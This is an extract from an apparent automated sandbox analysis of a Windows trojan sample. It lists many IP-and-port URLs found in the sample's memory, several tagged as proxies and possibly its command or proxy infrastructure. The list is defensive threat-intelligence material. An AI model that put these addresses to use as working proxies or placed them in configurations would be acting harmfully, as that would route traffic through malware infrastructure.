Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.196.50:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6025
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:6025://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:8896
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.87.194:8896://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.226.145.228:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.226.145.228:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0C7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.226.172.46:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.226.172.46:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.249.240.146:50733
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.249.240.146:50733://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.250.29.225:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.250.29.225:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.251.254.253:26751
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.251.254.253:26751://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.251.255.93:31337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.251.255.93:31337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.30.118.116:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.30.118.116:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.65.104.20:666
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.65.104.20:666://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.96.102.209:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.96.102.209:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.102.208.254:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.102.208.254:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.102.236.209:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.102.236.209:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.103.74.137:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.103.74.137:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.141.184.235:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.141.184.235:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.155.218.135:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.155.218.135:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.155.218.135:8081x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.189.175.136:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.189.175.136:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C925D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.19.127.253:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.19.127.253:4153x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.19.200.217:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.19.200.217:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.190.49.166:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.190.49.166:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.210.136.88:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.210.136.88:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.251.108.31:1985
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.251.108.31:1985://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.252.154.90:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.252.154.90:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.37.121.236:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.37.121.236:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.40.1.122:128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.40.1.122:128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.40.1.123:128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.40.1.123:128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.49.191.73:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.49.191.73:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D82000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.6.108.42:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.6.108.42:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.62.64.159:45005
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.62.64.159:45005://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.62.64.159:45005x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.73.188.35:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.73.188.35:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.95.82.175:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://187.95.82.175:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.112.39.231:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.112.39.231:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.171
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.171://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.171:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.37
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.37://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.114.99.37:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.119.99.210
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.119.99.210://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.119.99.210:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.121.147.18:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.121.147.18:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.124.230.43:17662
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.124.230.43:17662://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.203.107:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.203.107:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.221.133:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.221.133:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.221.169:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.221.169:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.166:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.166:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2C4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.167:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.167:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.168:10820
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.168:10820://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.171:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.171:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.199:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.199:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.34:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.34:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.38:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.38:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8219000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.39:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.39:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.44:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.44:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.5:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.5:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.6:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.7:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.7:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.8:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.132.222.8:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.136.162.30:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.136.162.30:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.163.170.130:41209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.163.170.130:41209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.163.170.130:41209x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:12880
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:12880://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:15342
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:15342://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:30663
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:30663://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:30744
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:30744://proxy
